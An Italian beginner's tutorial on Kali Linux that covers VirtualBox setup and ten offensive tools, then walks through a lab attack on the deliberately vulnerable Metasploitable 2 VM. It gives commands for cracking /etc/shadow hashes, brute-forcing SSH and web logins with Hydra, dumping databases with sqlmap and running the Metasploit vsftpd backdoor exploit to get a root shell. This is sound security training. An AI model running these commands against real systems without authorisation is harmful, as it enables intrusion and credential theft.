Kali Linux per principianti: Installazione, strumenti e primo hack

TL;DR

Kali Linux è la distribuzione standard del settore per i penetration test, precaricata con oltre 600 strumenti di sicurezza utilizzati da hacker etici e professionisti della sicurezza in tutto il mondo. Questo tutorial guida i principianti attraverso l'installazione di Kali su VirtualBox, la navigazione dell'ambiente desktop, la comprensione dei 10 strumenti essenziali e il completamento di un primo esercizio pratico scansionando una macchina virtuale Metasploitable. Non serve esperienza precedente con Linux, solo curiosità e voglia di imparare facendo.

Era la sera prima della prima competizione Capture the Flag della sua università, e Priya aveva un problema. Aveva studiato teoria delle reti per mesi, memorizzato il modello OSI e sapeva recitare le regole del firewall a memoria. Ma non aveva mai effettivamente scansionato una rete, mai intercettato un pacchetto, mai sfruttato un servizio vulnerabile. Il suo compagno di squadra le porse una chiavetta USB e disse: "Avvia da questa. Ha tutto quello che ti serve."

Quella chiavetta USB conteneva Kali Linux. In due ore, Priya aveva scoperto porte aperte sul server di pratica, identificato un'applicazione web mal configurata e usato un'iniezione SQL per catturare la sua prima flag. Si classificò terza nella competizione il giorno dopo. Non perché fosse diventata un'esperta da un giorno all'altro, ma perché Kali le aveva dato gli strumenti per trasformare la teoria in pratica.

Quella trasformazione, dal sapere cose sulla sicurezza al fare effettivamente sicurezza, è ciò che Kali Linux permette. E inizia con l'installazione.

Cos'è Kali Linux e perché è importante

Kali Linux è una distribuzione Linux basata su Debian progettata specificamente per i penetration test, la ricerca sulla sicurezza e la digital forensics. Mantenuta da OffSec (l'organizzazione dietro la certificazione OSCP), Kali include oltre 600 strumenti di sicurezza preinstallati organizzati in categorie: raccolta informazioni, analisi vulnerabilità, test di applicazioni web, attacchi alle password, attacchi wireless, exploitation e forensics.

Ciò che rende Kali diverso dall'installare singoli strumenti su Ubuntu o Fedora è l'integrazione. Ogni strumento è preconfigurato, le dipendenze sono risolte e l'intero sistema è costruito attorno al workflow di un professionista della sicurezza. Il kernel include patch per l'iniezione wireless. I repository contengono versioni degli strumenti testate per la compatibilità. L'ambiente utente predefinito è configurato per i penetration test, non per la produttività desktop.

Oltre l'80% dei penetration tester professionisti usa Kali come distribuzione di test principale. Quando le offerte di lavoro menzionano "padronanza degli strumenti di sicurezza standard del settore", si riferiscono quasi sempre agli strumenti forniti con Kali. Quando esami di certificazione come l'OSCP ti forniscono un ambiente di test, funziona su Kali.

Non è un giocattolo. È un toolkit professionale. Ed è completamente gratuito.

Installare Kali Linux su VirtualBox

Eseguire Kali all'interno di una macchina virtuale è l'approccio più sicuro e pratico per i principianti. Mantieni il tuo sistema operativo principale intatto, puoi creare snapshot prima di esperimenti rischiosi e puoi eliminare l'intero ambiente e ricominciare da zero se qualcosa va storto.

Passo 1: Scaricare e installare VirtualBox

Scarica VirtualBox da virtualbox.org. Scegli il pacchetto per il tuo sistema operativo host (Windows, macOS o Linux) e segui l'installazione. Accetta le impostazioni predefinite. L'installazione richiede circa cinque minuti.

Passo 2: Scaricare l'immagine Kali Linux

Visita kali.org/get-kali e scarica l'immagine precostituita per VirtualBox. È un file .ova che contiene un'installazione Kali completamente configurata. Il download è di circa 3,5 GB.

Usare l'immagine precostituita invece dell'installer ISO fa risparmiare tempo significativo. L'OVA viene con le VirtualBox Guest Additions già installate, il che significa che clipboard condivisa, trasferimento file drag-and-drop e ridimensionamento automatico dello schermo funzionano immediatamente.

Passo 3: Importare l'immagine

Apri VirtualBox, clicca su File > Importa applicazione virtuale, seleziona il file .ova scaricato e clicca su Importa. Prima di avviare la macchina, regola queste impostazioni:

System > Motherboard > Base Memory: 4096 MB (minimum 2048)
System > Processor > CPU: 2 cores
Display > Screen > Video Memory: 128 MB
Network > Adapter 1 > Attached to: NAT

L'impostazione di rete NAT dà alla tua VM Kali accesso a internet attraverso la macchina host mantenendola isolata dalla rete locale. Questo è importante per la sperimentazione sicura.

Passo 4: Primo avvio

Avvia la macchina virtuale. Kali si avvia con una schermata di login. Le credenziali predefinite per l'immagine precostituita sono:

Username: kali
Password: kali

Dopo il login, apri un terminale (l'icona del rettangolo nero nella barra delle applicazioni) e aggiorna il sistema:

sudo apt update && sudo apt upgrade -y

Questo assicura che tutti gli strumenti siano alle ultime versioni. L'aggiornamento può richiedere da 10 a 20 minuti a seconda della connessione internet.

Navigare il desktop Kali

Kali usa l'ambiente desktop Xfce per impostazione predefinita. È leggero e veloce, il che conta quando lavori dentro una VM. Gli elementi chiave sono:

Il pannello superiore contiene il menu Applicazioni (organizzato per categoria di sicurezza), il selettore di spazi di lavoro e la system tray. Il pannello inferiore mostra le finestre aperte. Il desktop è intenzionalmente minimale perché la maggior parte del lavoro avviene nel terminale.

Apri il menu Applicazioni ed esplora le categorie. 01 Information Gathering contiene strumenti di ricognizione. 05 Password Attacks contiene utilità di cracking. 09 Sniffing & Spoofing include strumenti di intercettazione di rete. Questa organizzazione corrisponde alle fasi di un penetration test, dalla ricognizione all'exploitation fino al report.

Il file manager, il browser web (Firefox ESR) e l'editor di testo (Mousepad) si trovano nella categoria Usual Applications. Userai Firefox frequentemente per i test delle applicazioni web insieme a Burp Suite.

I 10 strumenti Kali Linux che ogni principiante deve conoscere

Kali viene fornito con centinaia di strumenti, ma padroneggiarne dieci copre i fondamenti dell'hacking etico. Ognuno corrisponde a una fase specifica di un penetration test.

1. Nmap (Network Mapper)

Nmap è lo strumento di ricognizione più importante nella cybersecurity. Scopre host su una rete, identifica porte aperte, rileva servizi in esecuzione e le loro versioni, e può persino identificare sistemi operativi.

# Basic scan of a target
nmap 192.168.1.100

# Service version detection
nmap -sV 192.168.1.100

# Operating system detection (requires root)
sudo nmap -O 192.168.1.100

# Aggressive scan: OS detection, version, scripts, traceroute
sudo nmap -A 192.168.1.100

Nmap può scansionare tutte le 65.535 porte TCP su un obiettivo di rete locale in meno di 60 secondi usando la modalità di scansione SYN (-sS). È il primo strumento che esegui in ogni incarico perché non puoi attaccare ciò che non puoi vedere.

2. Burp Suite (test di applicazioni web)

Burp Suite è un proxy di intercettazione che si posiziona tra il tuo browser e un'applicazione web. Cattura ogni richiesta e risposta HTTP, permettendoti di ispezionare, modificare e riprodurre il traffico. La Community Edition è preinstallata su Kali.

Avvialo da Applications > 03 Web Application Analysis > Burp Suite. Configura Firefox per instradare il traffico attraverso il proxy di Burp (127.0.0.1:8080), e ogni richiesta web diventa visibile e modificabile. È così che trovi SQL injection, cross-site scripting e bypass di autenticazione nelle applicazioni web.

3. Metasploit Framework

Metasploit è il framework di exploitation più utilizzato al mondo. Contiene un database di exploit conosciuti per sistemi operativi, servizi e applicazioni. Selezioni una vulnerabilità obiettivo, configuri l'exploit, scegli un payload (il codice che viene eseguito dopo l'exploitation) ed esegui.

# Launch the Metasploit console
msfconsole

# Search for exploits targeting a specific service
search vsftpd

# Use an exploit
use exploit/unix/ftp/vsftpd_234_backdoor

# Set the target
set RHOSTS 192.168.1.100

# Execute
exploit

Metasploit trasforma vulnerabilità teoriche in impatto dimostrato. Quando un cliente chiede "quanto è grave questa vulnerabilità?" Metasploit fornisce la risposta.

4. John the Ripper (cracking di password)

John the Ripper decifra hash di password usando attacchi a dizionario, forza bruta e metodi ibridi. Quando estrai hash di password da un sistema compromesso, John determina le password originali.

# Crack Linux shadow file hashes
sudo unshadow /etc/passwd /etc/shadow > hashes.txt
john hashes.txt

# Use a specific wordlist
john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt

# Show cracked passwords
john --show hashes.txt

La wordlist rockyou.txt viene fornita con Kali e contiene oltre 14 milioni di password reali da una violazione di dati del 2009. Decifra una percentuale sorprendente di password nella maggior parte degli incarichi, il che mostra esattamente perché le policy di password robuste sono importanti.

5. Aircrack-ng (audit wireless)

Aircrack-ng è una suite di strumenti per testare la sicurezza delle reti wireless. Cattura traffico wireless, deautentica i client per forzare la cattura dell'handshake e decifra chiavi WPA/WPA2 tramite attacchi a dizionario. I test wireless richiedono un adattatore wireless compatibile che supporti la modalità monitor e l'iniezione di pacchetti.

6. SQLMap (automazione SQL injection)

SQLMap automatizza il rilevamento e lo sfruttamento di falle di SQL injection. Puntalo verso un URL con parametri e testa l'iniezione, identifica il tipo di database e può estrarre tabelle, colonne e dati.

# Test a URL parameter for SQL injection
sqlmap -u "http://target.com/page?id=1" --dbs

# Enumerate tables in a specific database
sqlmap -u "http://target.com/page?id=1" -D database_name --tables

7. Hydra (attacchi di password online)

Hydra esegue attacchi di forza bruta online contro servizi di rete: SSH, FTP, HTTP, SMB, RDP e dozzine di altri. A differenza di John the Ripper che decifra hash offline, Hydra effettua veri tentativi di login contro servizi attivi.

# Brute force SSH login
hydra -l admin -P /usr/share/wordlists/rockyou.txt ssh://192.168.1.100

# Brute force web login form
hydra -l admin -P passwords.txt 192.168.1.100 http-post-form \
  "/login:user=^USER^&pass=^PASS^:Invalid credentials"

8. Wireshark (analisi dei pacchetti)

Wireshark cattura e analizza il traffico di rete a livello di pacchetto. Ti mostra esattamente quali dati attraversano la rete: query DNS, richieste HTTP, tentativi di autenticazione e trasferimenti di file. In Kali, si integra con altri strumenti per fornire visibilità su come appaiono i tuoi attacchi sulla rete.

9. Nikto (scanner di server web)

Nikto scansiona server web alla ricerca di vulnerabilità note, configurazioni errate e software obsoleto. Verifica file pericolosi, installazioni predefinite e header del server non sicuri.

# Scan a web server
nikto -h http://192.168.1.100

Nikto è rumoroso. Genera centinaia di richieste ed è facilmente rilevato dai sistemi di rilevamento delle intrusioni. Questo lo rende inadatto per incarichi stealth ma eccellente per la scoperta completa di vulnerabilità nei test autorizzati.

10. Gobuster (forza bruta di directory)

Gobuster scopre directory e file nascosti sui server web tramite forza bruta dei percorsi usando una wordlist. Le applicazioni web contengono spesso pannelli di amministrazione, file di backup, endpoint di configurazione e artefatti di sviluppo che non sono linkati dall'interfaccia pubblica ma restano accessibili.

# Enumerate directories
gobuster dir -u http://192.168.1.100 -w /usr/share/wordlists/dirb/common.txt

# Enumerate with file extensions
gobuster dir -u http://192.168.1.100 -w /usr/share/wordlists/dirb/common.txt -x php,html,txt

Il tuo primo esercizio pratico: Scansionare Metasploitable

La teoria porta solo fino a un certo punto. Il modo più veloce per imparare Kali è usarlo contro un sistema progettato per essere hackerato. Metasploitable 2 è una macchina virtuale Linux deliberatamente vulnerabile creata da Rapid7. Contiene oltre 30 servizi mal configurati, password deboli e applicazioni sfruttabili, il tutto in un ambiente sicuro e isolato.

Configurare Metasploitable

Scarica Metasploitable 2 da VulnHub o SourceForge. Si presenta come file .vmdk. Crea una nuova VM in VirtualBox:

1. Clicca su New, nominala "Metasploitable", seleziona Linux / Ubuntu (64-bit)
2. Assegna 512 MB di RAM (ne serve pochissima)
3. Seleziona Use an existing virtual hard disk file e scegli il .vmdk scaricato
4. Prima di avviare, cambia l'adattatore di rete in Host-only Adapter

Cambia l'adattatore di rete della tua VM Kali sullo stesso Host-only Adapter. Questo crea una rete isolata dove entrambe le macchine possono comunicare senza esporre Metasploitable a internet. Non connettere mai Metasploitable a una rete reale. Le sue vulnerabilità sono intenzionali e gravi.

Avvia Metasploitable (login: msfadmin / msfadmin) e annota il suo indirizzo IP:

ifconfig

Eseguire la tua prima scansione

Torna nel terminale Kali, inizia con la scoperta degli host per confermare di poter raggiungere l'obiettivo:

ping -c 4 <metasploitable-ip>

Ora esegui una scansione Nmap completa:

sudo nmap -sV -sC -O <metasploitable-ip>

I flag significano: -sV rileva le versioni dei servizi, -sC esegue gli script NSE predefiniti per un'enumerazione aggiuntiva, e -O tenta l'identificazione del sistema operativo. L'output rivelerà dozzine di porte aperte e servizi in esecuzione:

PORT     STATE SERVICE     VERSION
21/tcp   open  ftp         vsftpd 2.3.4
22/tcp   open  ssh         OpenSSH 4.7p1
23/tcp   open  telnet      Linux telnetd
80/tcp   open  http        Apache httpd 2.2.8
445/tcp  open  netbios-ssn Samba smbd 3.X
3306/tcp open  mysql       MySQL 5.0.51a
...

Ogni porta aperta rappresenta una superficie di attacco. La versione vsftpd 2.3.4 è particolarmente degna di nota perché contiene una famosa vulnerabilità backdoor. Le versioni obsolete di SSH, Apache e MySQL hanno tutte exploit conosciuti.

Esplorare l'applicazione web vulnerabile

Apri Firefox in Kali e naviga verso http://<metasploitable-ip>. Vedrai una pagina che elenca diverse applicazioni web intenzionalmente vulnerabili, tra cui DVWA (Damn Vulnerable Web Application), Mutillidae e TWiki.

Esegui Nikto contro il server web:

nikto -h http://<metasploitable-ip>

Poi usa Gobuster per trovare directory nascoste:

gobuster dir -u http://<metasploitable-ip> -w /usr/share/wordlists/dirb/common.txt

Confronta ciò che Gobuster trova con ciò che è linkato nella pagina principale. Probabilmente scoprirai directory e file che non erano elencati pubblicamente. Questo è il valore fondamentale della forza bruta di directory: trovare ciò che gli sviluppatori intendevano nascondere ma non sono riusciti a proteggere.

Tentare il tuo primo exploit

Con i risultati Nmap che mostrano vsftpd 2.3.4 sulla porta 21, avvia Metasploit:

msfconsole

Cerca un exploit conosciuto:

search vsftpd

Metasploit restituirà il modulo exploit/unix/ftp/vsftpd_234_backdoor. Questo exploit prende di mira una backdoor inserita nel codice sorgente di vsftpd 2.3.4 nel 2011. Configuralo ed eseguilo:

use exploit/unix/ftp/vsftpd_234_backdoor
set RHOSTS <metasploitable-ip>
exploit

Se l'exploit ha successo, avrai una shell di comando sul sistema obiettivo. Digita whoami e vedrai root. Hai appena raggiunto la compromissione totale del sistema sul tuo primo obiettivo. Prenditi un momento per apprezzare ciò che è successo: hai identificato un servizio, trovato una vulnerabilità nota, selezionato un exploit e ottenuto accesso non autorizzato. Questo è ciò che i penetration tester fanno professionalmente, tranne che lo fanno con autorizzazione e poi aiutano le organizzazioni a correggere le debolezze scoperte.

Costruire il tuo laboratorio di pratica

Metasploitable è solo l'inizio. Una volta a tuo agio con scansione ed exploitation di base, espandi il tuo laboratorio con macchine vulnerabili aggiuntive da VulnHub. Inizia con macchine classificate "Easy" e sali di livello. Ogni macchina insegna competenze diverse: exploitation di applicazioni web, escalation di privilegi, cracking di password o pivoting di rete.

Il tuo laboratorio di pratica deve sempre essere isolato su una rete host-only. Non connettere mai macchine intenzionalmente vulnerabili alla rete domestica o a internet. Le vulnerabilità sono reali, e una macchina Metasploitable esposta verrà compromessa da scanner automatizzati in pochi minuti.

Dal laboratorio alla carriera

Kali Linux è un mezzo, non un fine. Gli strumenti ti insegnano il pensiero di sicurezza offensiva: come gli attaccanti trovano debolezze, concatenano exploit e si muovono attraverso le reti. Quella conoscenza è preziosa che tu finisca sul lato offensivo (penetration testing, red teaming) o difensivo (analisi SOC, incident response, sicurezza di rete).

Il percorso dalla tua prima scansione Nmap a una carriera nella cybersecurity segue uno schema. Padroneggia i fondamenti nel tuo laboratorio domestico. Documenta il tuo apprendimento attraverso write-up e post sul blog. Cerca formazione strutturata che colmi le lacune. Ottieni certificazioni che validino le tue competenze. L'OSCP di OffSec, che valuta i candidati in un esame pratico di 24 ore usando gli strumenti di Kali Linux, è ampiamente considerato lo standard di riferimento per i penetration tester.

Ogni pentester professionista ricorda il momento in cui il suo primo exploit ha avuto successo. Il momento in cui il terminale ha restituito root@metasploitable. Quella miscela di eccitazione e "aspetta, era così facile?" è esattamente la sensazione che spinge le persone a dedicare la loro carriera a trovare e correggere queste debolezze prima che lo facciano gli attori malevoli.

La tua VM Kali sta aspettando. Aprila. Scansiona qualcosa. Rompi qualcosa. Poi scopri come difenderti da ciò che hai appena fatto. È così che si formano i professionisti della cybersecurity.